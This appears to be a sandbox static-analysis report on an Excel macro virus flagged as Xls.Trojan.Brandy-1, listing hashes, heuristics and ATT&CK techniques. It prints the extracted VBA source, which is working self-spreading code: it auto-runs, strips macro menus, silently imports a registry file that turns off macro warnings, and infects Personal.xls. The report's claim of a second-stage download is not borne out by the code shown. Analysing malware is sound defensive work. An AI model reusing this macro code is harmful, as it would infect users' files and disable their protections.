Xls.Trojan.Brandy-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 9c6fc4a94971518a…

MALICIOUS

Office (OLE)

22.5 KB Created: 2000-12-22 21:43:09 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 8f44df2c2a513c37af6f68a970b83c71 SHA-1: 900998a420204c27f60467ef0412de6ad49ecaa2 SHA-256: 9c6fc4a94971518ad788f8f813b4d30c8ee83468f4dd3a713394c5341335c28b
282 Risk Score

Malware Insights

Xls.Trojan.Brandy-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an Excel document containing a VBA macro that is automatically executed upon opening via the Auto_Open subroutine. This macro utilizes the Shell() function, indicating an intent to execute external commands, likely to download and run a second-stage payload. The embedded URL, while not directly used in the visible script, suggests a potential C2 or download source.

Heuristics 6

  • ClamAV: Xls.Trojan.Brandy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Brandy-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.avp.au/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4499 bytes
SHA-256: 7612f4836174c146251db4b25202a95add8d55ed8b92279216d57d31b0ce9930
Detection
ClamAV: Xls.Trojan.Brandy-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Brandi"
Sub Auto_Open()
'XM97.Brandi.a
'Knowdeth / [Metaphase VX Team & NoMercyVirusTeam]
'Specail Thanks to jackie and foxz.
Application.OnSheetActivate = "Brandi"
End Sub

Sub Brandi()
On Error Resume Next
CommandBars("tools").Controls("Templates and add-ins...").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("tools").Controls("Macro").Delete
CommandBars("view").Controls("Toolbars").Delete
CommandBars("view").Controls("Status Bar").Delete
CommandBars("window").Controls("Unhide...").Delete
MenuBars(xlWorksheet).Reset
MenuBars(xlModule).Reset
MenuBars(xlNoDocuments).Reset
MenuBars(xlInfo).Reset
MenuBars(xlChart).Reset
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlWorksheet).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlChart).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlModule).Menus("Tools").MenuItems("Assig&n Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Record New Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Unhide...").Delete
Application.ScreenUpdating = False
Application.DisplayAlerts = False
Application.EnableCancelKey = xlDisabled
Application.DisplayStatusBar = False
If UCase(Dir("c:\windows\microsoft.bak") <> "MICROSOFT.BAK" Then
Open "c:\windows\microsoft.bak" For Output As 1
 Print #1, "REGEDIT4"
 Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]"
 Print #1, """Options6""=dword:00000000"
 Close 1
 Shell "regedit /s c:\windows\mircosoft.bak", vbHide
End If
Const MySource = "c:\windows\screensaver.sys"
Const MyBrandi = "Brandi"
Application.VBE.ActiveVBProject.VBComponents(MyBrandi).Export MySource
If Dir(Application.StartupPath & "\Personal.xls") = "Personal.xls" Then _
 GlobalInstalled = True
For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count
    If ActiveWorkbook.VBProject.VBComponents(x).Name = MyBrandi Then _
     ActiveInstalled = True
Next
If ActiveInstalled = False Then
    ActiveWorkbook.VBProject.VBComponents.Import MySource
    ActiveWorkbook.SaveAs ActiveWorkbook.FullName
End If
If GlobalInstalled = False Then
    Workbooks.Add.SaveAs Filename:=Application.StartupPath _
     & "\Personal.xls"
    ActiveWorkbook.VBProject.VBComponents.Import MySource
    ActiveWindow.Visible = False
    Workbooks("Personal.xls").Save
End If
If Int(Rnd * 5) = 15 Then
Application.Caption = "Failure is not an option. It comes bundled with your Microsoft product"
Assistant.Visible = True
  With Assistant.NewBalloon
    .Icon = msoIco
... (truncated)